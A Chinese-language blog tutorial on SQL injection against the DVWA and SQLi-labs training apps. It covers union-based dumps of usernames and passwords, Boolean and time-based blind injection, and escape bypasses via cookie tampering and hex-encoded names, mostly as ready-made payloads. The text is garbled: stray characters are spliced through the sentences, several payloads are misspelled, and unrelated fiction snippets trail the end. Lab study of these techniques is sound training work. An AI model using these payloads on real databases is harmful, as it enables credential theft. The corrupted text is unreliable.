與Medium級別的代碼相比,High級別的只是在SQL查詢語句中添加了LIMIT 1博杖,希望以此控制只輸出一個結(jié)果椿胯。

漏洞利用:
雖然添加了LIMIT 1,但是我們可以通過#將其注釋掉剃根。由于手工注入的過程與Low級別基本一樣哩盲,直接最后一步演示下載數(shù)據(jù)。

輸入1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #狈醉,查詢成功:

image

特別注意:High級別的查詢提交頁面與查詢結(jié)果顯示頁面不是同一個廉油,也沒有執(zhí)行302跳轉(zhuǎn),這樣做的目的是為了防止一般的sqlmap注入苗傅,因為sqlmap在注入過程中娱两,無法在查詢提交頁面上獲取查詢的結(jié)果,沒有了反饋金吗,也就沒辦法進(jìn)一步注入十兢。

SQL-Injection(Blind)

SQL盲注,與一般注入的區(qū)別在于摇庙,一般的注入攻擊者可以直接從頁面上看到注入語句的執(zhí)行結(jié)果旱物,而盲注時攻擊者通常是無法從顯示頁面上獲取執(zhí)行結(jié)果,甚至連注入語句是否執(zhí)行都無從得知卫袒,因此盲注的難度要比一般注入高宵呛。目前網(wǎng)絡(luò)上現(xiàn)存的SQL注入漏洞大多是SQL盲注。

盲注中常用的幾個函數(shù):
substr(a,b,c):從b位置開始夕凝,截取字符串a(chǎn)的c長度 
count():計算總數(shù) 
ascii():返回字符的ascii碼 
length():返回字符串的長度 left(a,b):從左往右截取字符串a(chǎn)的前b個字符 
sleep(n):將程序掛起n秒

手工盲注思路

手工盲注的過程宝穗,就像你與一個機(jī)器人聊天户秤,這個機(jī)器人知道的很多,但只會回答“是”或者“不是”逮矛,因此你需要詢問它這樣的問題肩祥,例如“數(shù)據(jù)庫名字的第一個字母是不是a袄⒖凇蔫仙?”澜沟,通過這種機(jī)械的詢問,最終獲得你想要的數(shù)據(jù)晋控。

盲注分為基于布爾的盲注汞窗、基于時間的盲注以及基于報錯的盲注,這里只演示基于布爾的盲注與基于時間的盲注赡译。

下面簡要介紹手工盲注的步驟(可與之前的手工注入作比較):

1.判斷是否存在注入仲吏,注入是字符型還是數(shù)字型 
2.猜解當(dāng)前數(shù)據(jù)庫名 
3.猜解數(shù)據(jù)庫中的表名
4.猜解表中的字段名 
5.猜解數(shù)據(jù)
Low
image-20200403135051500

分析:
Low級別的代碼對參數(shù)id沒有做任何檢查、過濾蝌焚,存在明顯的SQL注入漏洞裹唆,同時SQL語句查詢返回的結(jié)果只有兩種:
User ID exists in the database.‘與‘ User ID is MISSING from the database.
因此這里是SQL盲注漏洞。

漏洞利用

基于布爾的盲注:

1.判斷是否存在注入综看,注入是字符型還是數(shù)字型

當(dāng)輸入的參數(shù)為字符串時品腹,稱為字符型。字符型和數(shù)字型最大的一個區(qū)別在于红碑,數(shù)字型不需要單引號來閉合舞吭,而字符串一般需要通過單引號來閉合的。

輸入1析珊,顯示相應(yīng)用戶存在:

image-20200403134048181

輸入1’ and 1=1 #羡鸥,顯示存在:

image-20200403134048181

輸入1’ and 1=2 #,顯示不存在:

image-20200403134132131.png

2.猜解當(dāng)前數(shù)據(jù)庫名

想要猜解數(shù)據(jù)庫名忠寻,首先要猜解數(shù)據(jù)庫名的長度惧浴,然后挨個猜解字符。

輸入1’ and length(database())=1 #奕剃,顯示不存在衷旅;
輸入1’ and length(database())=2 #,顯示不存在纵朋;
輸入1’ and length(database())=3 #柿顶,顯示不存在;
輸入1’ and length(database())=4 #操软,顯示存在:

說明數(shù)據(jù)庫名長度為4嘁锯。

下面采用二分法猜解數(shù)據(jù)庫名。

輸入1' and ascii(substr(databse(),1,1))>97 #,顯示存在家乘,說明數(shù)據(jù)庫名的第一個字符的ascii值大于97(小寫字母a的ascii值)蝗羊;
輸入1' and ascii(substr(databse(),1,1))<122 #,顯示存在仁锯,說明數(shù)據(jù)庫名的第一個字符的ascii值小于122(小寫字母z的ascii值)耀找;
輸入1' and ascii(substr(databse(),1,1))<109 #,顯示存在扑馁,說明數(shù)據(jù)庫名的第一個字符的ascii值小于109(小寫字母m的ascii值)涯呻;
輸入1' and ascii(substr(databse(),1,1))<103 #凉驻,顯示存在腻要,說明數(shù)據(jù)庫名的第一個字符的ascii值小于103(小寫字母g的ascii值);
輸入1' and ascii(substr(databse(),1,1))<100 #涝登,顯示不存在雄家,說明數(shù)據(jù)庫名的第一個字符的ascii值不小于100(小寫字母d的ascii值);
輸入1' and ascii(substr(databse(),1,1))>100 #胀滚,顯示不存在趟济,說明數(shù)據(jù)庫名的第一個字符的ascii值不大于100(小寫字母d的ascii值),所以數(shù)據(jù)庫名的第一個字符的ascii值為100咽笼,即小寫字母d顷编。
…

重復(fù)上述步驟,就可以猜解出完整的數(shù)據(jù)庫名(dvwa)了剑刑。

3.猜解數(shù)據(jù)庫中的表名

首先猜解數(shù)據(jù)庫中表的數(shù)量:

1' and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 顯示不存在
1' and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 顯示存在

說明數(shù)據(jù)庫中共有兩個表媳纬。

接著挨個猜解表名:

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在 
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 顯示不存在
 … 
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在

說明第一個表名長度為9。

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=data'ase() limit 0,1),1,1))>103 # 顯示不存在

說明第一個表的名字的第一個字符為小寫字母g施掏。

重復(fù)上述步驟钮惠,即可猜解出兩個表名(guestbook、users)七芭。

4.猜解表中的字段名

首先猜解表中字段的數(shù)量:

1' and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 顯示不存在 
...
1' and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 顯示存在

說明users表有8個字段素挽。

接著挨個猜解字段名:

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 顯示不存在
…
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在

說明users表的第一個字段為7個字符長度。

采用二分法狸驳,即可猜解出所有字段名预明。

5.猜解數(shù)據(jù)

同樣采用二分法。

基于時間的盲注:

1.判斷是否存在注入耙箍,注入是字符型還是數(shù)字型

輸入1' and sleep(5) #撰糠,感覺到明顯延遲;
輸入1 and sleep(5) #究西,沒有延遲窗慎;

說明存在字符型的基于時間的盲注。

2.猜解當(dāng)前數(shù)據(jù)庫名

首先猜解數(shù)據(jù)名的長度:

1' and if(length(database())=1,sleep(5),1) # 沒有延遲 1' and if(length(database())=2,sleep(5),1) # 沒有延遲 1' and if(length(database())=3,sleep(5),1) # 沒有延遲 1' and if(length(database())=4,sleep(5),1) # 明顯延遲

說明數(shù)據(jù)庫名長度為4個字符。

接著采用二分法猜解數(shù)據(jù)庫名:

1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明顯延遲 … 1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 沒有延遲 1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 沒有延遲 說明數(shù)據(jù)庫名的第一個字符為小寫字母d遮斥。
 …

重復(fù)上述步驟峦失,即可猜解出數(shù)據(jù)庫名。

3.猜解數(shù)據(jù)庫中的表名

首先猜解數(shù)據(jù)庫中表的數(shù)量:

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 沒有延遲
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明顯延遲

說明數(shù)據(jù)庫中有兩個表术吗。

接著挨個猜解表名:

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 沒有延遲
…
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明顯延遲

說明第一個表名的長度為9個字符尉辑。

采用二分法即可猜解出表名。

4.猜解表中的字段名

首先猜解表中字段的數(shù)量:

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 沒有延遲
…
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明顯延遲

說明users表中有8個字段较屿。

接著挨個猜解字段名:

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 沒有延遲
…
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明顯延遲

說明users表的第一個字段長度為7個字符隧魄。

采用二分法即可猜解出各個字段名。

5.猜解數(shù)據(jù)

同樣采用二分法隘蝎。

Medium
image-20200403134213853

分析:
Medium級別的代碼利用mysql_real_escape_string函數(shù)對特殊符號

\x00,\n,\r,,’,”,\x1a進(jìn)行轉(zhuǎn)義购啄,同時前端頁面設(shè)置了下拉選擇表單,希望以此來控制用戶的輸入嘱么。

漏洞利用

雖然前端使用了下拉選擇菜單狮含,但我們依然可以通過抓包改參數(shù)id,提交惡意構(gòu)造的查詢參數(shù)曼振。

上文有詳細(xì)的盲注流程几迄,這里就簡要演示幾個。

首先是基于布爾的盲注:

抓包改參數(shù)id為1 and length(database())=4 #冰评,顯示存在映胁,說明數(shù)據(jù)庫名的長度為4個字符;
抓包改參數(shù)id為1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #甲雅,顯示存在解孙,說明數(shù)據(jù)中的第一個表名長度為9個字符;
抓包改參數(shù)id為1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #务荆,(0×7573657273為users的16進(jìn)制)妆距,顯示存在,說明uers表有8個字段函匕。

然后是基于時間的盲注:

抓包改參數(shù)id為1 and if(length(database())=4,sleep(5),1) #娱据,明顯延遲,說明數(shù)據(jù)庫名的長度為4個字符盅惜;
抓包改參數(shù)id為1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #中剩,明顯延遲,說明數(shù)據(jù)中的第一個表名長度為9個字符抒寂;
抓包改參數(shù)id為1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #结啼,明顯延遲,說明uers表有8個字段屈芜。
High
image-20200403134236798.png

分析:
High級別的代碼利用cookie傳遞參數(shù)id郊愧,當(dāng)SQL查詢結(jié)果為空時朴译,會執(zhí)行函數(shù)sleep(seconds),目的是為了擾亂基于時間的盲注属铁。同時在 SQL查詢語句中添加了LIMIT 1眠寿,希望以此控制只輸出一個結(jié)果。

漏洞利用

雖然添加了LIMIT 1焦蘑,但是我們可以通過#將其注釋掉盯拱。但由于服務(wù)器端執(zhí)行sleep函數(shù),會使得基于時間盲注的準(zhǔn)確性受到影響例嘱,這里我們只演示基于布爾的盲注:

抓包將cookie中參數(shù)id改為1’ and length(database())=4 #狡逢,顯示存在,說明數(shù)據(jù)庫名的長度為4個字符拼卵;
抓包將cookie中參數(shù)id改為1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #奢浑,顯示存在,說明數(shù)據(jù)中的第一個表名長度為9個字符间学;
抓包將cookie中參數(shù)id改為1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #殷费,(0×7573657273 為users的16進(jìn)制)印荔,顯示存在低葫,說明uers表有8個字段。

SQL-LABS

Less-1(GET單引號字符型注入)

#查看頁面變化仍律,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2

#確定字段數(shù) #不能用#【坑點1】
?id=1' order by 3 --+
?id=1' order by 4 %23

#聯(lián)合查詢查看顯示位 #id要為負(fù)數(shù)【坑點2】
?id=-1' union select 1,2,3 --+

#爆庫【security】
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1' union select 1,2,database() --+   

#爆表【emails,referers,uagents,users】
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

#爆列【...id,username,password...】
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

#爆值【DumbDumb...】
?id=-1' union select 1,2,group_concat(username,password) from users --+

坑點1:URL框中的sql語句中不能用直接使用#號嘿悬,要用--+(等價于--空格)或者%23,但是輸入框中可以用#水泉,應(yīng)為輸入框提交是會執(zhí)行一次URL編碼善涨,#會被編譯成%23
原因是url中#號是用來指導(dǎo)瀏覽器動作的(例如錨點),對服務(wù)器端完全無用草则。所以钢拧,HTTP請求中不包括#
將#號改成url的編碼%23或者使用--+就可以了

坑點2:在聯(lián)合查詢查看顯示位,使用union聯(lián)合查詢后發(fā)現(xiàn)頁面返回的數(shù)據(jù)沒變炕横,這是因為如果左邊的SQL語句正確執(zhí)行那么就會只返回左邊第一個查詢語句的運行結(jié)果源内,那么我們只要讓第一行查詢的結(jié)果是空集(即union左邊的select子句查詢結(jié)果為空),那么我們union右邊的查詢結(jié)果自然就成為了第一行份殿,就打印在網(wǎng)頁上了膜钓。

這個id傳遞的是數(shù)字,而且一般都是從1開始自增的卿嘲,我們可以把id值設(shè)為非正數(shù)(負(fù)數(shù)或0)颂斜,浮點數(shù),字符型或字符串都行拾枣,主要是使左邊的查詢語句報錯就行沃疮。

Less-2(GET數(shù)字型注入)

#查看頁面變化盒让,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
#確定字段數(shù)
?id=1 order by 3
?id=1 order by 4 
#聯(lián)合查詢查看顯示位
?id=-1 union select 1,2,3
#爆庫
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
?id=-1 union select 1,2,database()
#爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
#爆列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
#爆值
?id=-1 union select 1,2,group_concat(username,password) from users

Less-3(GET單引號變形字符型注入)

#查看頁面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
?id=1' order by 3 --+
#報錯 for the right syntax to use near 'order by 3 -- ') LIMIT 0,1' at line 1
#由錯誤提示可知后臺查詢語句應(yīng)為select * from * where id = ('$id') LIMIT 0,1
#構(gòu)造?id=1') --+ 進(jìn)行測試司蔬。訪問正常糯彬,猜測正確。
#確定字段數(shù)
?id=1') order by 3 --+
?id=1') order by 4 --+
#聯(lián)合查詢查看顯示位
?id=-1') union select 1,2,3 --+
#爆庫
?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1') union select 1,2,database() --+
#爆表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆列
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值
?id=-1') union select 1,group_concat(username),group_concat(password) from users --+

Less-4(GET雙引號字符型注入)

#查看頁面變化葱她,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
?id=1' order by 4 --+
?id=1" order by 4 --+
#報錯  to use near 'order by 4 -- ") LIMIT 0,1' at line 1
#由錯誤提示可知后臺查詢語句應(yīng)為select * from * where id = ("$id") LIMIT 0,1
#構(gòu)造?id=1") --+ 進(jìn)行測試撩扒。訪問正常,猜測正確吨些。
#確定字段數(shù)
?id=1") order by 3 --+
?id=1") order by 4 --+
#聯(lián)合查詢查看顯示位
?id=-1") union select 1,2,3 --+
#爆庫
?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1") union select 1,2,database() --+
#爆表
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆列
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值
?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

Less-5(雙注入GET單引號字符型注入)

一些感悟

我自己我在學(xué)習(xí)Web安全的過程中搓谆,也是倍感枯燥,總想急于求成豪墅,想要簡單學(xué)一哈就能實現(xiàn)各種????操作泉手,顯然不是那么容易的,所以請靜下心來鉆研吧偶器,慢慢來斩萌,比較快!

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末屏轰,一起剝皮案震驚了整個濱河市颊郎,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌霎苗,老刑警劉巖姆吭,帶你破解...
    沈念sama閱讀 221,548評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異唁盏,居然都是意外死亡内狸,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,497評論 3 399
  • 文/潘曉璐 我一進(jìn)店門厘擂,熙熙樓的掌柜王于貴愁眉苦臉地迎上來昆淡,“玉大人,你說我怎么就攤上這事刽严“毫椋” “怎么了?”我有些...
    開封第一講書人閱讀 167,990評論 0 360
  • 文/不壞的土叔 我叫張陵港庄,是天一觀的道長倔既。 經(jīng)常有香客問我,道長鹏氧,這世上最難降的妖魔是什么渤涌? 我笑而不...
    開封第一講書人閱讀 59,618評論 1 296
  • 正文 為了忘掉前任,我火速辦了婚禮把还,結(jié)果婚禮上实蓬,老公的妹妹穿的比我還像新娘茸俭。我一直安慰自己,他們只是感情好安皱,可當(dāng)我...
    茶點故事閱讀 68,618評論 6 397
  • 文/花漫 我一把揭開白布调鬓。 她就那樣靜靜地躺著,像睡著了一般酌伊。 火紅的嫁衣襯著肌膚如雪腾窝。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,246評論 1 308
  • 那天居砖,我揣著相機(jī)與錄音虹脯,去河邊找鬼。 笑死奏候,一個胖子當(dāng)著我的面吹牛循集,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播蔗草,決...
    沈念sama閱讀 40,819評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼咒彤,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了咒精?” 一聲冷哼從身側(cè)響起镶柱,我...
    開封第一講書人閱讀 39,725評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎狠轻,沒想到半個月后奸例,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,268評論 1 320
  • 正文 獨居荒郊野嶺守林人離奇死亡向楼,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,356評論 3 340
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了谐区。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片湖蜕。...
    茶點故事閱讀 40,488評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖宋列,靈堂內(nèi)的尸體忽然破棺而出昭抒,到底是詐尸還是另有隱情,我是刑警寧澤炼杖,帶...
    沈念sama閱讀 36,181評論 5 350
  • 正文 年R本政府宣布灭返,位于F島的核電站,受9級特大地震影響坤邪,放射性物質(zhì)發(fā)生泄漏熙含。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,862評論 3 333
  • 文/蒙蒙 一艇纺、第九天 我趴在偏房一處隱蔽的房頂上張望怎静。 院中可真熱鬧邮弹,春花似錦、人聲如沸蚓聘。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,331評論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽渣锦。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,445評論 1 272
  • 我被黑心中介騙來泰國打工灵疮, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留蒿赢,地道東北人晾腔。 一個月前我還...
    沈念sama閱讀 48,897評論 3 376
  • 正文 我出身青樓睡腿,卻偏偏與公主長得像挂捻,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,500評論 2 359